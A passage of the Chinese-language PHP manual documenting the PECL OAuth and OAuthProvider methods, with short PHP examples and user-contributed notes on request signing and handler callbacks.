echo "Response: ". $E->lastResponse . "\n";
}
?>

以上示例的输出类似于：

Array
(
    [oauth_token] => some_token
    [oauth_token_secret] => some_token_secret
)

参见

  • OAuth::getLastResponse() - 获取最后一次的响应
  • OAuth::getLastResponseInfo() - 获取关于最后一次响应的 HTTP 信息
  • OAuth::setToken() - 设置令牌和 secret

User Contributed Notes

There are no user contributed notes for this page.


获取 CA 信息

  • ? OAuth::getAccessToken
  • OAuth::getLastResponse ?
  • PHP Manual
  • OAuth
  • 获取 CA 信息

OAuth::getCAPath

(PECL OAuth >= 0.99.8)

OAuth::getCAPath — 获取 CA 信息

说明

public OAuth::getCAPath(): array

获取证书授权的信息，其中包括通过 OAuth::setCaPath() 设置的 ca_path 和 ca_info 。

Warning

本函数还未编写文档，仅有参数列表。

参数

此函数没有参数。

返回值

返回一个证书授权信息的 数组 ，在返回的关联数组中明确地包含 ca_path 和 ca_info 键。

参见

  • OAuth::setCAPath() - 设置 CA 路径和信息
  • OAuth::getLastResponseInfo() - 获取关于最后一次响应的 HTTP 信息

User Contributed Notes

There are no user contributed notes for this page.


获取最后一次的响应

  • ? OAuth::getCAPath
  • OAuth::getLastResponseHeaders ?
  • PHP Manual
  • OAuth
  • 获取最后一次的响应

OAuth::getLastResponse

(PECL OAuth >= 0.99.1)

OAuth::getLastResponse — 获取最后一次的响应

说明

public OAuth::getLastResponse(): string

获取最近一次请求的原始响应。

参数

此函数没有参数。

返回值

返回一个最后一次响应的字符串。

参见

  • OAuth::getLastResponseInfo() - 获取关于最后一次响应的 HTTP 信息
  • OAuth::fetch() - 获取一个 OAuth 受保护的资源

User Contributed Notes

There are no user contributed notes for this page.


获取最后一次响应的头信息

  • ? OAuth::getLastResponse
  • OAuth::getLastResponseInfo ?
  • PHP Manual
  • OAuth
  • 获取最后一次响应的头信息

OAuth::getLastResponseHeaders

(No version information available, might only be in Git)

OAuth::getLastResponseHeaders — 获取最后一次响应的头信息

说明

public OAuth::getLastResponseHeaders(): string|false

获取最后一次响应的头信息。

参数

此函数没有参数。

返回值

返回一个包含最后一次响应头信息的字符串 或者在失败时返回 false 。

User Contributed Notes

There are no user contributed notes for this page.


获取关于最后一次响应的 HTTP 信息

  • ? OAuth::getLastResponseHeaders
  • OAuth::getRequestHeader ?
  • PHP Manual
  • OAuth
  • 获取关于最后一次响应的 HTTP 信息

OAuth::getLastResponseInfo

(PECL OAuth >= 0.99.1)

OAuth::getLastResponseInfo — 获取关于最后一次响应的 HTTP 信息

说明

public OAuth::getLastResponseInfo(): array

获取关于最后一次响应的 HTTP 信息。

参数

此函数没有参数。

返回值

返回一个包含最后一次请求响应信息的数组。可以用到来自 curl_getinfo() 的常量。

参见

  • OAuth::fetch() - 获取一个 OAuth 受保护的资源
  • OAuth::getLastResponse() - 获取最后一次的响应

User Contributed Notes

There are no user contributed notes for this page.


生成 OAuth 头信息字符串签名

  • ? OAuth::getLastResponseInfo
  • OAuth::getRequestToken ?
  • PHP Manual
  • OAuth
  • 生成 OAuth 头信息字符串签名

OAuth::getRequestHeader

(No version information available, might only be in Git)

OAuth::getRequestHeader — 生成 OAuth 头信息字符串签名

说明

public OAuth::getRequestHeader(string $http_method, string $url, mixed $extra_parameters = ?): string|false

生成基于最终 HTTP 方法、URL 和 一个字符串/数组附加参数的 OAuth 头信息字符串签名。

参数

http_method

请求的 HTTP 方法。

url

请求的 URL 。

extra_parameters

字符串或数组类型的附带参数。

返回值

返回 一个包含生成的请求头信息的字符串 r 或者在失败时返回 false

User Contributed Notes

me at chrishowie dot com 12-Dec-2016 10:03
The documentation does not specify the difference between passing a string and passing an array for the third parameter.  We spent two days debugging before reading the C source code to figure out that there is a significant and undocumented difference between the two.

"a=1" and array("a" => 1) are handled very differently!

If you are making a POST/PUT request (or anything with an entity body) then you should pass that as a string.

If you are making a request with a query string, you should pass that as an associative array.

If you pass "a=1" intending that to specify the query string, the generated signature will be invalid -- it will process this as if you were POSTing the content "a=1" instead.


获取一个请求令牌

  • ? OAuth::getRequestHeader
  • OAuth::setAuthType ?
  • PHP Manual
  • OAuth
  • 获取一个请求令牌

OAuth::getRequestToken

(PECL OAuth >= 0.99.1)

OAuth::getRequestToken — 获取一个请求令牌

说明

public OAuth::getRequestToken(string $request_token_url, string $callback_url = ?, string $http_method = ?): array

从服务提供者那里获取一个请求令牌、secret 、以及一些附带的响应参数。

参数

request_token_url

请求令牌 API 的 URL。

callback_url

OAuth 回调 URL。 如果传递了 callback_url 且为空值，则将其设置为"oob"即到 OAuth 2009.1 咨询的地址。

http_method

要使用的 HTTP 方法，例如 GET 或 POST。

返回值

成功则返回一个包含解析过了的 OAuth 响应的数组，失败则返回 false 。

更新日志

版本 | 说明
PECL oauth 1.0.0 | 以前失败时返回 null，而不是 false。
PECL oauth 0.99.9 | 增加 callback_url 参数。

示例

Example #1 OAuth::getRequestToken() 例子

<?php
try {
$oauth = new OAuth(OAUTH_CONSUMER_KEY,OAUTH_CONSUMER_SECRET);
$request_token_info = $oauth->getRequestToken("https://example.com/oauth/request_token");
if(!empty($request_token_info)) {
print_r($request_token_info);
} else {
print "Failed fetching request token, response was: " . $oauth->getLastResponse();
}
} catch(OAuthException $E) {
echo "Response: ". $E->lastResponse . "\n";
}
?>

以上示例的输出类似于：

Array
(
    [oauth_token] => some_token
    [oauth_token_secret] => some_token_secret
)

参见

  • OAuth::getLastResponse() - 获取最后一次的响应
  • OAuth::getLastResponseInfo() - 获取关于最后一次响应的 HTTP 信息

User Contributed Notes

bohwaz 29-Mar-2010 07:29
Please note that if you don't supply callback_url, the oauth parameter oauth_callback will not be sent to the server and will result in an error from the server, as this parameter is REQUIRED in the OAuth spec.


设置授权类型

  • ? OAuth::getRequestToken
  • OAuth::setCAPath ?
  • PHP Manual
  • OAuth
  • 设置授权类型

OAuth::setAuthType

(PECL OAuth >= 0.99.1)

OAuth::setAuthType — 设置授权类型

说明

public OAuth::setAuthType(int $auth_type): bool

设置 OAuth 参数应该放在哪里传递。

参数

auth_type

auth_type可能是下列标志之一（在 OAuth 1.0 规范的第 5.2 章节中按优先级降序排列）：

OAUTH_AUTH_TYPE_AUTHORIZATION
在 HTTP Authorization 头部传递 OAuth 参数。
OAUTH_AUTH_TYPE_FORM
将 OAuth 参数附加到 HTTP POST 请求主体中。
OAUTH_AUTH_TYPE_URI
将 OAuth 参数附加到请求的 URI 后面 。
OAUTH_AUTH_TYPE_NONE
无。

返回值

如果参数设置正确则返回 true ，否则返回 false （比如，传递进一个无效的 auth_type ）。

更新日志

版本 | 说明
PECL oauth 1.0.0 | 以前失败时返回 null，而不是 false。

User Contributed Notes

There are no user contributed notes for this page.


设置 CA 路径和信息

  • ? OAuth::setAuthType
  • OAuth::setNonce ?
  • PHP Manual
  • OAuth
  • 设置 CA 路径和信息

OAuth::setCAPath

(PECL OAuth >= 0.99.8)

OAuth::setCAPath — 设置 CA 路径和信息

说明

public OAuth::setCAPath(string $ca_path = ?, string $ca_info = ?): mixed

设置证书授权中心（CA ）的路径和信息。

Warning

本函数还未编写文档，仅有参数列表。

参数

ca_path

要设置的 CA 路径。

ca_info

要设置的 CA 信息。

返回值

成功则返回 true ，如果 ca_path 或 ca_info 其中之一被认为无效则返回 false 。

更新日志

版本 | 说明
PECL oauth 1.0.0 | 以前失败时返回 null，而不是 false。

参见

  • OAuth::getCaPath() - 获取 CA 信息

User Contributed Notes

There are no user contributed notes for this page.


为后续请求设置现时标志

  • ? OAuth::setCAPath
  • OAuth::setRequestEngine ?
  • PHP Manual
  • OAuth
  • 为后续请求设置现时标志

OAuth::setNonce

(PECL OAuth >= 0.99.1)

OAuth::setNonce — 为后续请求设置现时标志

说明

public OAuth::setNonce(string $nonce): mixed

为所有后续请求设置现时标志。

参数

nonce

oauth_nonce 的值。

返回值

成功返回 true ，如果 nonce 被认为无效，则返回 false 。

更新日志

版本 | 说明
PECL oauth 1.0.0 | 以前失败时返回 null，而不是 false。

参见

  • OAuth::setToken() - 设置令牌和 secret
  • OAuth::setAuthType() - 设置授权类型
  • OAuth::setVersion() - 设置 OAuth 版本

User Contributed Notes

There are no user contributed notes for this page.


设置目标请求引擎

  • ? OAuth::setNonce
  • OAuth::setRSACertificate ?
  • PHP Manual
  • OAuth
  • 设置目标请求引擎

OAuth::setRequestEngine

(PECL OAuth >= 1.0.0)

OAuth::setRequestEngine — 设置目标请求引擎

说明

public OAuth::setRequestEngine(int $reqengine): void

设置请求引擎，用于发送 HTTP 请求。

Warning

本函数还未编写文档，仅有参数列表。

参数

reqengine

想要的请求引擎。 设为 OAUTH_REQENGINE_STREAMS 则使用 PHP 流，设为 OAUTH_REQENGINE_CURL 则使用 Curl。

返回值

没有返回值。

错误／异常

如果选择了一个无效的请求引擎，则发出一个 OAuthException 异常。

示例

Example #1 OAuth::setRequestEngine() 例子

<?php
$consumer = new OAuth();

$consumer->setRequestEngine(OAUTH_REQENGINE_STREAMS);
?>

参见

  • Curl
  • PHP 流
  • OAuthException

User Contributed Notes

There are no user contributed notes for this page.


设置 RSA 证书

  • ? OAuth::setRequestEngine
  • OAuth::setSSLChecks ?
  • PHP Manual
  • OAuth
  • 设置 RSA 证书

OAuth::setRSACertificate

(PECL OAuth >= 1.0.0)

OAuth::setRSACertificate — 设置 RSA 证书

说明

public OAuth::setRSACertificate(string $cert): mixed

设置 RSA 证书。

Warning

本函数还未编写文档，仅有参数列表。

参数

cert

RSA 证书。

返回值

成功则返回 true ，失败返回 false （例如，RSA证书不能被传递）。

更新日志

版本 | 说明
PECL oauth 1.0.0 | 以前失败时返回 null，而不是 false。

示例

Example #1 一个 OAuth::setRsaCertificate() 例子

<?php
$consume = new OAuth('1234', '', OAUTH_SIG_METHOD_RSASHA1);

$consume->setRSACertificate(file_get_contents('test.pem'));
?>

参见

  • OAuth::setCaPath() - 设置 CA 路径和信息

User Contributed Notes

There are no user contributed notes for this page.


调整特定的SSL请求检查

  • ? OAuth::setRSACertificate
  • OAuth::setTimestamp ?
  • PHP Manual
  • OAuth
  • 调整特定的SSL请求检查

OAuth::setSSLChecks

(No version information available, might only be in Git)

OAuth::setSSLChecks — 调整特定的SSL请求检查

说明

public OAuth::setSSLChecks(int $sslcheck): bool

调整特定的SSL请求检查。

Warning

本函数还未编写文档，仅有参数列表。

参数

sslcheck

返回值

成功时返回 true， 或者在失败时返回 false。

User Contributed Notes

There are no user contributed notes for this page.


设置时间戳

  • ? OAuth::setSSLChecks
  • OAuth::setToken ?
  • PHP Manual
  • OAuth
  • 设置时间戳

OAuth::setTimestamp

(PECL OAuth >= 1.0.0)

OAuth::setTimestamp — 设置时间戳

说明

public OAuth::setTimestamp(string $timestamp): mixed

为后续请求设置时间戳。

Warning

本函数还未编写文档，仅有参数列表。

参数

timestamp

时间戳。

返回值

返回 true ，除非 timestamp 无效，则返回 false 。

更新日志

版本 | 说明
PECL oauth 1.0.0 | 以前失败时返回 null，而不是 false。

参见

  • OAuth::setNonce() - 为后续请求设置现时标志

User Contributed Notes

There are no user contributed notes for this page.


设置令牌和 secret

  • ? OAuth::setTimestamp
  • OAuth::setVersion ?
  • PHP Manual
  • OAuth
  • 设置令牌和 secret

OAuth::setToken

(PECL OAuth >= 0.99.1)

OAuth::setToken — 设置令牌和 secret

说明

public OAuth::setToken(string $token, string $token_secret): bool

为后续请求设置令牌和 secret。

参数

token

OAuth 令牌

token_secret

OAuth 令牌 secret。

返回值

true

示例

Example #1 OAuth::setToken() 例子

<?php
$oauth = new OAuth(OAUTH_CONSUMER_KEY,OAUTH_CONSUMER_SECRET);
$oauth->setToken("token","token-secret");
?>

User Contributed Notes

There are no user contributed notes for this page.


设置 OAuth 版本

  • ? OAuth::setToken
  • OAuthProvider ?
  • PHP Manual
  • OAuth
  • 设置 OAuth 版本

OAuth::setVersion

(PECL OAuth >= 0.99.1)

OAuth::setVersion — 设置 OAuth 版本

说明

public OAuth::setVersion(string $version): bool

为随后请求设置 OAuth 版本

参数

version

OAuth 版本，默认值为 "1.0"

返回值

成功时返回 true， 或者在失败时返回 false。

User Contributed Notes

There are no user contributed notes for this page.


OAuthProvider 类

(PECL OAuth >= 1.0.0)

简介

管理一个 OAuth 提供者类。

参考一个外部的深入教程 » 写一个 OAuth 提供者服务，用来亲自实践提供服务。也可以参考 OAuth 扩展源代码里的 » OAuth 提供者例子 。

类摘要

class OAuthProvider {
/* 方法 */
final public addRequiredParameter(string $req_params): bool
public callconsumerHandler(): void
public callTimestampNonceHandler(): void
public calltokenHandler(): void
public checkOAuthRequest(string $uri = ?, string $method = ?): void
public __construct(array $params_array = ?)
public consumerHandler(callable $callback_function): void
final public static generateToken(int $size, bool $strong = false): string
public is2LeggedEndpoint(mixed $params_array): void
public isRequestTokenEndpoint(bool $will_issue_request_token): void
final public removeRequiredParameter(string $req_params): bool
final public static reportProblem(string $oauthexception, bool $send_headers = true): string
final public setParam(string $param_key, mixed $param_val = ?): bool
final public setRequestTokenPath(string $path): bool
public timestampNonceHandler(callable $callback_function): void
public tokenHandler(callable $callback_function): void
}

Table of Contents

  • OAuthProvider::addRequiredParameter — 添加必需的参数
  • OAuthProvider::callconsumerHandler — 调用 consumerNonceHandler 回调函数
  • OAuthProvider::callTimestampNonceHandler — 调用 timestampNonceHandler 回调函数
  • OAuthProvider::calltokenHandler — 调用 tokenNonceHandler 回调函数
  • OAuthProvider::checkOAuthRequest — 检查一个 oauth 请求
  • OAuthProvider::__construct — 新建一个 OAuthProvider 对象
  • OAuthProvider::consumerHandler — 设置 consumerHandler 句柄回调函数
  • OAuthProvider::generateToken — 生成一个随机令牌
  • OAuthProvider::is2LeggedEndpoint — is2LeggedEndpoint
  • OAuthProvider::isRequestTokenEndpoint — 设置 isRequestTokenEndpoint
  • OAuthProvider::removeRequiredParameter — 移除一个必需的参数
  • OAuthProvider::reportProblem — 报告问题
  • OAuthProvider::setParam — 设置一个参数
  • OAuthProvider::setRequestTokenPath — 设置请求令牌路径
  • OAuthProvider::timestampNonceHandler — 设置 timestampNonceHandler 句柄回调函数
  • OAuthProvider::tokenHandler — 设置 tokenHandler 句柄回调函数

User Contributed Notes

There are no user contributed notes for this page.


添加必需的参数

  • ? OAuthProvider
  • OAuthProvider::callconsumerHandler ?
  • PHP Manual
  • OAuthProvider
  • 添加必需的参数

OAuthProvider::addRequiredParameter

(PECL OAuth >= 1.0.0)

OAuthProvider::addRequiredParameter — 添加必需的参数

说明

final public OAuthProvider::addRequiredParameter(string $req_params): bool

添加必需的 oauth 提供者参数。

Warning

本函数还未编写文档，仅有参数列表。

参数

req_params

必需的参数。

返回值

成功时返回 true， 或者在失败时返回 false。

参见

  • OAuthProvider::removeRequiredParameter() - 移除一个必需的参数

User Contributed Notes

me at thomashunter dot name 06-Jun-2013 03:03
This method can be used for adding non-standard parameters required by your application, as well as parameters within the spec.

<?php
$Provider->addRequiredParameter("permissions");
$Provider->addRequiredParameter("oauth_callback");


调用 consumerNonceHandler 回调函数

  • ? OAuthProvider::addRequiredParameter
  • OAuthProvider::callTimestampNonceHandler ?
  • PHP Manual
  • OAuthProvider
  • 调用 consumerNonceHandler 回调函数

OAuthProvider::callconsumerHandler

(No version information available, might only be in Git)

OAuthProvider::callconsumerHandler — 调用 consumerNonceHandler 回调函数

说明

public OAuthProvider::callconsumerHandler(): void

调用注册的消费者句柄回调函数，此回调函数通过 OAuthProvider::consumerHandler() 设置。

Warning

本函数还未编写文档，仅有参数列表。

参数

此函数没有参数。

返回值

没有返回值。

错误／异常

如回调函数无法被调用或未被指定，会引发一个 E_ERROR 级别的错误。

参见

  • OAuthProvider::consumerHandler() - 设置 consumerHandler 句柄回调函数

User Contributed Notes

There are no user contributed notes for this page.


调用 timestampNonceHandler 回调函数

  • ? OAuthProvider::callconsumerHandler
  • OAuthProvider::calltokenHandler ?
  • PHP Manual
  • OAuthProvider
  • 调用 timestampNonceHandler 回调函数

OAuthProvider::callTimestampNonceHandler

(PECL OAuth >= 1.0.0)

OAuthProvider::callTimestampNonceHandler — 调用 timestampNonceHandler 回调函数

说明

public OAuthProvider::callTimestampNonceHandler(): void

调用注册的时间戳句柄回调函数，此回调函数通过 OAuthProvider::timestampNonceHandler() 设置。

Warning

本函数还未编写文档，仅有参数列表。

参数

此函数没有参数。

返回值

没有返回值。

错误／异常

如回调函数无法被调用或未被指定，会引发一个 E_ERROR 级别的错误。

参见

  • OAuthProvider::timestampNonceHandler() - 设置 timestampNonceHandler 句柄回调函数

User Contributed Notes

There are no user contributed notes for this page.


调用 tokenNonceHandler 回调函数

  • ? OAuthProvider::callTimestampNonceHandler
  • OAuthProvider::checkOAuthRequest ?
  • PHP Manual
  • OAuthProvider
  • 调用 tokenNonceHandler 回调函数

OAuthProvider::calltokenHandler

(PECL OAuth >= 1.0.0)

OAuthProvider::calltokenHandler — 调用 tokenNonceHandler 回调函数

说明

public OAuthProvider::calltokenHandler(): void

调用注册的令牌句柄回调函数，此回调函数通过 OAuthProvider::tokenHandler() 设置。

Warning

本函数还未编写文档，仅有参数列表。

参数

此函数没有参数。

返回值

没有返回值。

错误／异常

如回调函数无法被调用或未被指定，会引发一个 E_ERROR 级别的错误。

参见

  • OAuthProvider::tokenHandler() - 设置 tokenHandler 句柄回调函数

User Contributed Notes

There are no user contributed notes for this page.


检查一个 oauth 请求

  • ? OAuthProvider::calltokenHandler
  • OAuthProvider::__construct ?
  • PHP Manual
  • OAuthProvider
  • 检查一个 oauth 请求

OAuthProvider::checkOAuthRequest

(PECL OAuth >= 1.0.0)

OAuthProvider::checkOAuthRequest — 检查一个 oauth 请求

说明

public OAuthProvider::checkOAuthRequest(string $uri = ?, string $method = ?): void

检查一个 OAuth 请求。

Warning

本函数还未编写文档，仅有参数列表。

参数

uri

可选的 URI 或终点。

method

HTTP 方法。 可选 OAUTH_HTTP_METHOD_* OAuth 常量 其中之一传递。

返回值

没有返回值。

错误／异常

如果不能检测到 HTTP 方法，则发出一个 E_ERROR 级别的错误。

参见

  • OAuthProvider::reportProblem() - 报告问题

User Contributed Notes

tim at timlytle dot net 17-Oct-2013 01:30
Seems this method can only be called once per instance (or gives the same result as the first call on repeat calls).

My use case is API endpoints that can be accessed by a user or with 2 legged auth. If normal oAuth failed, I was calling is2LeggedEndpoint(true) and running again.

For that to work the OAuth Provider needs to be created again, simply changing one of the flags seems to have no effect on the next call.
Lyuben Penkovski (l_penkovski at yahoo dot com) 23-Aug-2010 03:59
This function checks if OAuth request is valid and signed correctly.

$provider->checkOAuthRequest();

It does this by first calling timestampNonceHandler and expects result OAUHT_OK from it. If the result is different, an exception is thrown. It's up to you to write the code that checks timestamp/nonce combinations.

Secondly, it calls consumerHandler and expects your code in the consumerHandler function to set $provider->consumer_secret to the correct value (you should take it from your consumer storage location where it's saved with consumer key). If $provider->consumer_secret is not set, or is not set with the proper value an exception is thrown. Proper value means that it should be the same consumer key that was used to sign the request by the consumer before sending it to here (the provider). Again expected result from this function is OAUTH_OK or some OAUTH error code if you want to throw exception.

Third, it calls tokenHandler, but only WHEN you are requesting ACCESS token or requesting protected data with authorized ACCESS TOKEN. In order for the provider to call tokenHandler, before a call to the checkOAuthRequest function is made, the provider should call the method that says that this is not a request token endpoint (this is access token endpoint):

$provider->isRequestTokenEndpoint (false);
$provider->checkOAuthRequest();

Again here OAuthProvider is expecting your code in the tokenHandler to set $provider->token_secret to the correct value (you should take it from your token storage place) because during the signing process it uses CONSUMER SECRET (for request token) and CONSUMER SECRET AND TOKEN SECRET (for access token and fetch of protected data) to sign the request.

After these 3 handler functions are called and return good results (OAUTH_OK) and set the values of the required fields $provider->consumer_secret and $provider->token_secret, then the checkOAuthRequest function signs the request. If something goes wrong, it throws exception, otherwise there comes the place for your code to proceed and handle the request:

- you can create request token (if it's a first request for request token)
- you can create access token (if it's a request for access token)
- you can return protected data to the consumer (if it's a request to fetch protected data)

This is how the functions in my code look like, however please have in mind that I've just implemented it and it's possible that I have something missed or forgotten, but generally I think the idea should be clear:

$this->dbModel is the object for working with database and save/retrieve token and consumer data

<?php

public function timestampNonceHandler ( $provider )
{
    return $this->dbModel->checkTimestampNonce ( $provider->consumer_key,
                                                 $provider->token,
                                                 $provider->timestamp,
                                                 $provider->nonce );
}

public function consumerHandler ( $provider )
{
    $consumer = $this->dbModel->getConsumerSecrets ($provider->consumer_key);

    if($consumer['consumer_key'] != $provider->consumer_key)
    {
        return OAUTH_CONSUMER_KEY_UNKNOWN;
    }

    if( (int)$consumer['disabled'] != 0 )
    {
        return OAUTH_CONSUMER_KEY_REFUSED;
    }

    $provider->consumer_id = $consumer['consumer_id']; # this is not required by OAuthProvider but I use it later in tokenHandler
    $provider->consumer_secret = $consumer['consumer_secret']; # this is REQUIRED

    return OAUTH_OK;
}

public function tokenHandler ( $provider )
{
    $token = $this->dbModel->getToken( $provider->token );

    if( time() > $token['expire'] )
    {
        return OAUTH_TOKEN_EXPIRED;
    }

    if($token['consumer_id'] != $provider->consumer_id)
    {
        return OAUTH_TOKEN_REJECTED;
    }

    if( (int)$token['authorized'] == 0 )
    {
        return OAUTH_TOKEN_REJECTED;
    }

    if($token['token_type'] != 'access')
    {
        if($token['verifier'] != $provider->verifier)
            return OAUTH_VERIFIER_INVALID;
    }

    $provider->token_id = $token['token_id']; # not required to be set by OAuthProvider
    $provider->token_secret = $token['token_secret']; # this is REQUIRED

    return OAUTH_OK;
}

?>


新建一个 OAuthProvider 对象

  • ? OAuthProvider::checkOAuthRequest
  • OAuthProvider::consumerHandler ?
  • PHP Manual
  • OAuthProvider
  • 新建一个 OAuthProvider 对象

OAuthProvider::__construct

(PECL OAuth >= 1.0.0)

OAuthProvider::__construct — 新建一个 OAuthProvider 对象

说明

public OAuthProvider::__construct(array $params_array = ?)

发起一个新的 OAuthProvider 对象。

Warning

本函数还未编写文档，仅有参数列表。

参数

params_array

设置限制 CLI SAPI 的可选参数。

返回值

返回一个 OAuthProvider 对象。

示例

Example #1 OAuthProvider::__construct() 例子

<?php
try {

$op = new OAuthProvider();

// 使用用户定义的回调函数
$op->consumerHandler(array($this, 'lookupConsumer'));
$op->timestampNonceHandler(array($this, 'timestampNonceChecker'));
$op->tokenHandler(array($this, 'myTokenHandler'));

// 忽略 foo_uri 参数
$op->setParam('foo_uri', NULL);

// 对于终点不需要令牌
$op->setRequestTokenPath('/v1/oauth/request_token');

$op->checkOAuthRequest();

} catch (OAuthException $e) {

echo OAuthProvider::reportProblem($e);
}
?>

参见

  • OAuthProvider::setParam() - 设置一个参数

User Contributed Notes

There are no user contributed notes for this page.


设置 consumerHandler 句柄回调函数

  • ? OAuthProvider::__construct
  • OAuthProvider::generateToken ?
  • PHP Manual
  • OAuthProvider
  • 设置 consumerHandler 句柄回调函数

OAuthProvider::consumerHandler

(PECL OAuth >= 1.0.0)

OAuthProvider::consumerHandler — 设置 consumerHandler 句柄回调函数

说明

public OAuthProvider::consumerHandler(callable $callback_function): void

设置消费者句柄回调函数，并将在后面通过 OAuthProvider::callConsumerHandler() 被调用。

Warning

本函数还未编写文档，仅有参数列表。

参数

callback_function

回调类型 函数名。

返回值

没有返回值。

示例

Example #1 OAuthProvider::consumerHandler() 回调的例子

<?php
function lookupConsumer($provider) {

if ($provider->consumer_key === 'unknown') {
return OAUTH_CONSUMER_KEY_UNKNOWN;
} else if($provider->consumer_key == 'blacklisted' || $provider->consumer_key === 'throttled') {
return OAUTH_CONSUMER_KEY_REFUSED;
}

$provider->consumer_secret = "the_consumers_secret";

return OAUTH_OK;
}
?>

参见

  • OAuthProvider::callConsumerHandler() - 调用 consumerNonceHandler 回调函数

User Contributed Notes

There are no user contributed notes for this page.


生成一个随机令牌

  • ? OAuthProvider::consumerHandler
  • OAuthProvider::is2LeggedEndpoint ?
  • PHP Manual
  • OAuthProvider
  • 生成一个随机令牌

OAuthProvider::generateToken

(PECL OAuth >= 1.0.0)

OAuthProvider::generateToken — 生成一个随机令牌

说明

final public static OAuthProvider::generateToken(int $size, bool $strong = false): string

生成一个伪随机字节的 字符串 。

参数

size

想要的令牌长度，单位为字节。

strong

设置为 true 则意味着将对熵使用 /dev/random ，否则使用非阻塞的 /dev/urandom。在 Windows 平台将忽略此参数。

返回值

生成的令牌，一个以字节为单位的 字符串 。

错误／异常

如果 strong 参数为 true ， 则当回退到用 rand() 来实现填充剩余的随机字节的时候，将触发一个 E_WARNING 级别的错误（比如，当最初找不到足够的随机数据的时候）。

示例

Example #1 OAuthProvider::generateToken() 例子

<?php
$p = new OAuthProvider();

$t = $p->generateToken(4);

echo strlen($t), PHP_EOL;
echo bin2hex($t), PHP_EOL;

?>

以上示例的输出类似于：

4
b6a82c27

注释

Note:

当系统没有足够的随机数据可用的时候，此函数将使用 PHP 内部的 rand() 来实现填充剩余的随机字节。

参见

  • openssl_random_pseudo_bytes() - 生成一个伪随机字节串
  • mcrypt_create_iv() - 从随机源创建初始向量

User Contributed Notes

carlosouza at me dot com 28-Mar-2012 02:32
Be careful when setting the 'strong' parameter to true.

If you system doesn't have enough entropy your script will block which can cause timeouts in other parts of your code.

In my case, the most serious symptom was my script blocking when trying to read from /dev/random and causing a 'MySQL has gone away' error.

Hopefully this saves someone the trouble when deciding to use /dev/random entropy


is2LeggedEndpoint

  • ? OAuthProvider::generateToken
  • OAuthProvider::isRequestTokenEndpoint ?
  • PHP Manual
  • OAuthProvider
  • is2LeggedEndpoint

OAuthProvider::is2LeggedEndpoint

(PECL OAuth >= 1.0.0)

OAuthProvider::is2LeggedEndpoint — is2LeggedEndpoint

说明

public OAuthProvider::is2LeggedEndpoint(mixed $params_array): void

2-legged 流程，或请求签名。不需要令牌。

Warning

本函数还未编写文档，仅有参数列表。

参数

params_array

返回值

返回一个 OAuthProvider 对象.

示例

Example #1 OAuthProvider::is2LeggedEndpoint() 例子

<?php

$provider = new OAuthProvider();

$provider->is2LeggedEndpoint(true);

?>

参见

  • OAuthProvider::__construct() - 新建一个 OAuthProvider 对象

User Contributed Notes

There are no user contributed notes for this page.


设置 isRequestTokenEndpoint

  • ? OAuthProvider::is2LeggedEndpoint
  • OAuthProvider::removeRequiredParameter ?
  • PHP Manual
  • OAuthProvider
  • 设置 isRequestTokenEndpoint

OAuthProvider::isRequestTokenEndpoint

(PECL OAuth >= 1.0.0)

OAuthProvider::isRequestTokenEndpoint — 设置 isRequestTokenEndpoint

说明

public OAuthProvider::isRequestTokenEndpoint(bool $will_issue_request_token): void

Warning

本函数还未编写文档，仅有参数列表。

参数

will_issue_request_token

设置是否发布一个请求令牌，从而决定 OAuthProvider::tokenHandler() 是否需要被调用。

返回值

没有返回值。

参见

  • OAuthProvider::setRequestTokenPath() - 设置请求令牌路径
  • OAuthProvider::reportProblem() - 报告问题

User Contributed Notes

There are no user contributed notes for this page.


移除一个必需的参数

  • ? OAuthProvider::isRequestTokenEndpoint
  • OAuthProvider::reportProblem ?
  • PHP Manual
  • OAuthProvider
  • 移除一个必需的参数

OAuthProvider::removeRequiredParameter

(PECL OAuth >= 1.0.0)

OAuthProvider::removeRequiredParameter — 移除一个必需的参数

说明

final public OAuthProvider::removeRequiredParameter(string $req_params): bool

移除一个必需的参数。

Warning

本函数还未编写文档，仅有参数列表。

参数

req_params

要被移除的必需参数。

返回值

成功时返回 true， 或者在失败时返回 false。

参见

  • OAuthProvider::setParam() - 设置一个参数
  • OAuthProvider::addRequiredParameter() - 添加必需的参数

User Contributed Notes

There are no user contributed notes for this page.


报告问题

  • ? OAuthProvider::removeRequiredParameter
  • OAuthProvider::setParam ?
  • PHP Manual
  • OAuthProvider
  • 报告问题

OAuthProvider::reportProblem

(PECL OAuth >= 1.0.0)

OAuthProvider::reportProblem — 报告问题

说明

final public static OAuthProvider::reportProblem(string $oauthexception, bool $send_headers = true): string

将问题作为一个 OAuthException 异常传入，可能出现的问题在 OAuth 常量 章节里已列出。

Warning

本函数还未编写文档，仅有参数列表。

参数

oauthexception

OAuthException 类。

返回值

没有返回值。

参见

  • OAuthProvider::checkOAuthRequest() - 检查一个 oauth 请求
  • OAuthProvider::isRequestTokenEndpoint() - 设置 isRequestTokenEndpoint

User Contributed Notes

There are no user contributed notes for this page.


设置一个参数

  • ? OAuthProvider::reportProblem
  • OAuthProvider::setRequestTokenPath ?
  • PHP Manual
  • OAuthProvider
  • 设置一个参数

OAuthProvider::setParam

(PECL OAuth >= 1.0.0)

OAuthProvider::setParam — 设置一个参数

说明

final public OAuthProvider::setParam(string $param_key, mixed $param_val = ?): bool

设置一个参数。

Warning

本函数还未编写文档，仅有参数列表。

参数

param_key

参数的 key 。

param_val

参数的值，此为可选项。

若要从签名验证中排除参数，请将其值设置为 null。

返回值

成功时返回 true， 或者在失败时返回 false。

参见

  • OAuthProvider::addRequiredParameter() - 添加必需的参数

User Contributed Notes

There are no user contributed notes for this page.


设置请求令牌路径

  • ? OAuthProvider::setParam
  • OAuthProvider::timestampNonceHandler ?
  • PHP Manual
  • OAuthProvider
  • 设置请求令牌路径

OAuthProvider::setRequestTokenPath

(PECL OAuth >= 1.0.0)

OAuthProvider::setRequestTokenPath — 设置请求令牌路径

说明

final public OAuthProvider::setRequestTokenPath(string $path): bool

设置请求令牌路径。

Warning

本函数还未编写文档，仅有参数列表。

参数

path

路径。

返回值

true

参见

  • OAuthProvider::tokenHandler() - 设置 tokenHandler 句柄回调函数

User Contributed Notes

There are no user contributed notes for this page.


设置 timestampNonceHandler 句柄回调函数

  • ? OAuthProvider::setRequestTokenPath
  • OAuthProvider::tokenHandler ?
  • PHP Manual
  • OAuthProvider
  • 设置 timestampNonceHandler 句柄回调函数

OAuthProvider::timestampNonceHandler

(PECL OAuth >= 1.0.0)

OAuthProvider::timestampNonceHandler — 设置 timestampNonceHandler 句柄回调函数

说明

public OAuthProvider::timestampNonceHandler(callable $callback_function): void

